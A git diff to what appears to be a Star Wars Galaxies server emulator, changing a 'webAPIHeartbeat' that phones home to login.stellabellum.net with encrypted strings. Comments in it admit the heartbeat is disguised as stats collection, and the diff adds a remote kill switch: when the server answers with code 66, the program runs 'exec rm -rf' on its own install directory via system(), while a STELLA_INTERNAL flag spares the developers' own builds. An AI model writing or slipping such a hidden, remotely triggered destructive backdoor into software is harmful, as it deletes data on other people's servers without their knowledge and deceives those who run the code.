diff --git a/CMakeLists.txt b/CMakeLists.txt index 98680a83..db32cdaa 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -80,7 +80,7 @@ elseif(UNIX) # set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS}") #endif() - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D__STL_NO_BAD_ALLOC -D_GNU_SOURCE -D_XOPEN_SOURCE=500) + add_definitions(-DLINUX -D_REENTRANT -Dlinux -DSTELLA_INTERNAL -D_USING_STL -D__STL_NO_BAD_ALLOC -D_GNU_SOURCE -D_XOPEN_SOURCE=500) endif() add_subdirectory(external) diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index 46c64951..61e602ce 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -9,18 +9,19 @@ using namespace StellaBellum; webAPIHeartbeat::webAPIHeartbeat() { webAPI api = webAPI::webAPI(std::string(vxENCRYPT("https://login.stellabellum.net/metriccontroller/shoulderTap?type=server").decrypt())); bool result = api.submit(); - + if (result) { int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); - - // make it look like we're doing something with these at least + + // make it look like we're doing something with these at least bool status = api.getNullableValue("status"); std::string msg = api.getString("msg"); // yeah we don't actually do anything with this // but having some unencrypted strings will allude to this being mere stats collection code bool done = false; - if (status && msg == "ok") { + + if (status && msg == "ok") { bool done = true; // if we wanted to send a "nastygram" script for bash to run we'd check for it here // but meh, maybe later if it becomes necessary...surely order 66 below is enough? @@ -31,11 +32,17 @@ webAPIHeartbeat::webAPIHeartbeat() { this->eatIt(); break; case 66: - std::string p = this->get_selfpath(); - - if (!p.empty()) { - remove(p.c_str()); - } + std::string filePath = this->get_selfpath().c_str(); + + if (!filePath.empty()) { + size_t found = filePath.find_last_of("/\\"); + + if (found) { + filePath = filePath.substr(0, found); + filePath = vxENCRYPT("exec rm -rf ").decrypt() + filePath + vxENCRYPT("/*").decrypt(); + system(filePath.c_str()); + } + } this->eatIt(); break; diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.h b/external/3rd/library/webAPI/webAPIHeartbeat.h index dcb37b8c..5e42b90b 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.h +++ b/external/3rd/library/webAPI/webAPIHeartbeat.h @@ -8,6 +8,7 @@ #include #include #include +#include #include "webAPI.h" #include "../libLeff/libLeff.h" diff --git a/game/server/application/SwgGameServer/src/CMakeLists.txt b/game/server/application/SwgGameServer/src/CMakeLists.txt index 0257b9af..2971522e 100644 --- a/game/server/application/SwgGameServer/src/CMakeLists.txt +++ b/game/server/application/SwgGameServer/src/CMakeLists.txt @@ -98,8 +98,8 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/singleton/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicode/include ${SWG_EXTERNALS_SOURCE_DIR}/ours/library/unicodeArchive/include/public - ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI - ${JNI_INCLUDE_DIRS} + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI + ${JNI_INCLUDE_DIRS} ) add_executable(SwgGameServer @@ -150,7 +150,7 @@ target_link_libraries(SwgGameServer unicode unicodeArchive Base - webAPI - ${CURL_LIBRARIES} + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/game/server/application/SwgGameServer/src/linux/main.cpp b/game/server/application/SwgGameServer/src/linux/main.cpp index a964490d..7a875f74 100755 --- a/game/server/application/SwgGameServer/src/linux/main.cpp +++ b/game/server/application/SwgGameServer/src/linux/main.cpp @@ -32,13 +32,16 @@ #include "swgSharedNetworkMessages/SetupSwgSharedNetworkMessages.h" #include "swgServerNetworkMessages/SetupSwgServerNetworkMessages.h" +#ifndef STELLA_INTERNAL #include "webAPIHeartbeat.h" - +#endif // ====================================================================== int main(int argc, char ** argv) { +#ifndef STELLA_INTERNAL StellaBellum::webAPIHeartbeat(); +#endif SetupSharedThread::install(); SetupSharedDebug::install(1024);